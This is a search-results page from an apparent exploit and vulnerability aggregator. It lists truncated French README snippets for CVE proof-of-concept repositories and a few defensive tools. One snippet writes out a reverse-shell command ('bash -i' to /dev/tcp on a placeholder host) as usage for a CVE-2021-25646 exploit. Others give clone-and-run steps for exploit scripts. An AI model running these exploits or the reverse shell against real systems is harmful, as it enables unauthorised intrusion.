67653 matches found
EUVD-2026-92777
A vulnerability has been found in Lybbn Django-Vue-Lyadmin up to 3.2.12. The impacted element is an unknown function of the file backend/application/settings.py of the component JWT Signing. The manipulation of the argument SECRETKEY leads to use of hard-coded cryptographic key . Remote...
CVE-2021-44228-POC
CVE-2021-44228-POC Exploitation de CVE-2021-44228 Télécharger nuclei sudo cp nuclei /usr/bin/nuclei sudo chmod +x /usr/bin/nuclei git clone https://github.com/sec13b/CVE-2021-44228-POC.git mv CVE-2021-44228-POC log4shellexploit mkdir yaml mv .yaml yaml/ exécution : python3 log4shellexploit.py...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Shell inversé comme suit : Écrire le script du shell inversé python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Attribuer les droits d'exécution au script shell python3 CVE-2021-25646.py -...
CVE-2021-40444
CVE-2021-40444 entièrement armé Générateur de docx malveillant pour exploiter CVE-2021-40444 exécution de code à distance dans Microsoft Office Word, fonctionne avec des fichiers DLL arbitraires. Contexte Bien que de nombreux PoC soient déjà disponibles sur Internet, j'ai décidé de tenter de...
CVE-2019-1619
CVE-2019-1619 Script PowerShell pour construire le jeton nécessaire au contournement de l'authentification. J'étais dans un test d'intrusion et j'ai trouvé un serveur vulnérable à CVE-2019-1619. Je n'ai pas pu utiliser le module metasploit en raison d'un accès restreint, donc je l'ai exploité...
CVE-2024-38063-
CVE-2024-38063- Exploitation à distance du noyau via IPv6 CVE-2024-38063 - Exploitation à distance du noyau via IPv6 Marcus Hutchins Depuis la dernière mise à jour Windows publiée le 13 août, je me suis plongé dans les tréfonds de tcpip.sys le pilote du noyau responsable du traitement des paquets...
Log4j_Attacker_IPList
Log4jAttackerIPList CVE-2021-44228 Log4j Liste IP d'Attaquant.xlsx...
APT-Backpack
APT-Sac à dos CVE les plus couramment utilisés par les APT, RAT légitimes et autres outils utilisés par les adversaires CVE CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 Lecture de fichier non autorisée CVE-2019-19781 Citrix ADC & Gateway Traversée de répertoire CVE-2020-5902 F5 Big IP RCE...
Deep-Reaver
Deep Reaver Deep Reaver est un puissant toolkit d'évaluation de vulnérabilités et d'exploitation assisté par IA, construit en Python. Inspiré par des outils comme Nmap et Nessus, Deep Reaver est conçu pour une analyse approfondie et modulaire des applications web et des services. Fonctionnalités...
Network-Filesystem-Forensics
Forensic réseau et système de fichiers Rapports sur la post-exploitation sur un honeypot exploitant wu-ftpd vulnérable CVE-2001-0550...
cve-2022-27666-exploits
cve-2022-27666-exploits Il existe 2 méthodes d'exploitation qui exploitent CVE-2022-27666. Pour plus d'informations sur l'utilisation de ces bases de code, veuillez consulter mon blog ici...
CVE-2021-25281
CVE-2021-25281 Chaînage de CVE-2021-25281 et CVE-2021-25282 pour exploiter un SaltStack...
14-828_Exploitation_of_CVE-2019-5822
В этом репозитории нет README...
CVE-NetScalerFileSystemCheck
CVE-NetScalerFileSystemCheck Ce script vérifie si le Citrix NetScaler a été compromis par des attaques CVE-2019-19781 et collecte toutes les informations du système de fichiers. Les fichiers et journaux suivants seront vérifiés dernière version 1.13 : Dossiers de modèles pour les fichiers XML...
CVE-2025-10585-The-Chrome-V8-Zero-Day
CVE-2025-10585 : Le Zero-Day Chrome V8 que vous devez patcher aujourd'hui ⚔️🛡️ Google a publié un correctif hors bande cette semaine pour CVE-2025-10585 , une grave vulnérabilité de type-confusion dans le moteur JavaScript/WebAssembly V8 de Chrome. Le bogue n'est pas théorique — le Threat Analysis...
CVE-2023-34960
CVE-2023-34960 Injection de commandes non authentifiée en masse Chamilo Capture d'écran Prérequis Python3.7+ Systèmes d'exploitation supportés Linuxer Wingays Pour commencer $ git clone https://github.com/Pari-Malam/CVE-2023-34960 $ cd CVE-2023-34960 $ pip/pip3 install -r requirements.txt $...
CiscoIOSSNMPToolkit
CiscoIOSSNMPToolkit Kit d'exploitation de débordement SNMP pour Cisco iOS CVE-2017-6736 CVE-2018-0296? J'ai récemment intégré en sous-module CVE-2018-0296, qui peut être utilisé conjointement avec cet exploit original, pour effectuer des reconnaissances et voir ce qui est contenu dans l'appliance...
Log4jPatcher
Log4jPatcher Une atténuation basée sur un agent Java pour les exploits JNDI Log4j2. Cet agent applique 2 correctifs : Désactiver toutes les conversions Lookup sur les versions Log4j prises en charge dans org.apache.logging.log4j.core.pattern.MessagePatternConverter en définissant noLookups sur tr...